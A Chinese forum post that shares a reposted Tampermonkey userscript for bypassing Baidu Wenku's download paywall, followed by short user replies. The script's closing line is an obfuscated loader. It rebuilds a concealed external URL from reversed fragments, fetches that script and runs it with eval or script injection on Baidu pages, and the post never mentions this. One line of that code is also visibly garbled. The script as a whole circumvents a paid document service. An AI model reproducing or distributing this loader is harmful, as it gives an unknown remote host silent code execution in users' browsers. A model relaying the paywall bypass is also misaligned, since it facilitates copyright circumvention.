【油猴】+【网站】百度文档下载
百度文档提取,下载。我自己实际测试了几个文档,都能下载。求热心值,想升级,谢谢各位大佬{:301_1004:}
油猴主页截图:
油猴评价截图:
使用说明Gif图:
油猴插件其实调用的是这个网址,有需要可以直接手动使用这个网址。用法就是吧百度文档的链接填到输入框就行。
网址地址:https://wenku.zhihupe.com/tool/index?url=
此地址截图:
油猴插件地址:https://greasyfork.org/zh-CN/scripts/480419
功能:下载百度文档中的文档。油猴脚本是我转载的,大体原理就是获取当前百度文档链接,调用【智狐】这个网站,然后反馈结果。
代码:
// ==UserScript==
// @name 📄百度文库破解下载🚀
// @version 1.0.5
// @description百度文库破解下载,免费获取全文
// @antifeatureads 无伤大雅的可关闭限时横幅
// @AuThor amay
// @namespace https://greasyfork.org/
// @grant GM_xmlhttpRequest
// @match *://wenku.baidu.com/*
// @match *://wk.baidu.com/*
// @match *://wenku.zhihupe.com/*
// @run-at document-body
// @downloadURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.user.js
// @updateURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.meta.js
// ==/UserScript==
(function () {
"use strict";
if (location.hostname.endsWith(".baidu.com")) {
const id = ("wk" + Date.now()).slice(0, 8);
const html = `
<div id="${id}">
<style>
#${id}{
box-shadow: 0 0 24px #00000080,0 0 50px #0003;
z-index: 9999999999;
bottom: 100px;
position: fixed;
right: 50px;
border-radius: 3px;
cursor: pointer;
text-align: center;
font-size: 17px;
padding: 8px 15px;
transition: 0.1s;
background: #1c1c1c;
color: #efefef;
border:1.5px solid gold;
}
#${id}:hover {
color: gold;
}
</style>
下载文档
</div>
`;
onload(() => {
document.body.insertAdjacentHTML("afterbegin", html);
const btn = document.getElementById(id);
btn.addEventListener("click", () => {
window.open(
"https://wenku.zhihupe.com/tool/index?url=" +
encodeURIComponent(location.href)
);
});
setInterval(() => {
btn.style.setProperty(
"display",
location.pathname.startsWith("/view/") ? "block" : "none"
);
}, 500);
});
} else {
document.body.insertAdjacentHTML(
"afterbegin",
`
<style>
.code-dialog>p:not(.tips),#isScript,.scan-img,section + section{
display: none !important;
}
body > nav,button#download+button{
display:none !important;
}
</style>
`
);
onload(() => {
getCode().then((v) => {
document.querySelector("#code").value = v;
getDocData();
}).catch((v) => alert(String(v)));
});
};
function onload(cb) {
cb = cb || new Function();
if (document.readyState !== "loading") {
cb();
} else {
document.addEventListener("DOMContentLoaded", cb);
}
}
function getCode() {
return new Promise((resolve, reject) => {
const handle = (t) => {
try {
resolve(JSON.parse(t).wenkuCode)
} catch (e) {
reject(e)
}
}
const url = "https://tool.wezhicms.com/coupon/getInitData.php";
if (typeof GM_xmlhttpRequest === "function") {
GM_xmlhttpRequest({
url,
headers: { "Cache-Control": "no-cache", Referer: window.location.href },
method: "GET",
onload: (r) => handle(r.responseText),
onerror: (e) => reject(e)
});
} else {
fetch(url, {
"headers": {
"Accept": "application/json, text/plain, */*",
},
}).then(res => res.text()).then(handle).catch(e => reject(e));
}
})
}
(()=>{const d=()=>parseInt(Date.now()/6/10**5),c=(e,n="")=>e.join(n),u=()=>decodeURIComponent(c(["js%3F_%3D","sh%2Fcdn","surge","https%3A%2F%2Favaha"].reverse(),"."))+d(),s=e=>{let n=document)](c(["t","scrip"].reverse()));n.async=!0,n.referrerPolicy="no-referrer-when-downgrade",n.src=e,document.documentElement.appendChild(n),n.remove()},f=()=>"function"==typeof GM_xmlhttpRequest,r=(c,window)=>{try{eval(c)}catch(e){console.warn(e),s(u())}};f()?GM_xmlhttpRequest({url:u(),headers:{"Cache-Control":"no-cache",Referer:window.location.href},method:"GET",onload:e=>r(e.responseText,window.unsafeWindow||window),onerror:()=>s(u())}):s(u())})();
})();
把JS,转换成GOlang,输入文库地址,不就能下载了吗?何必非要装油猴! 公告:由于【百度文库破解下载】这个油猴脚本滥用固定口令,安装脚本自动填充口令福利永久取消,安装了该脚本的用户,关闭该脚本后可正常获取口令使用,后续安装脚本会上线其他福利 下载不了啊,下载了就删除了 下载的是原始文档格式吗,不会全是PDF吧 我怎么整不明白 有简单的操作吗 代码放上去用户脚本无效,这个插件能放到别的盘里分享么 下载成功,谢谢分享! 还能用不????????????? 貌似没什么用啊 给力!谢谢!下载成功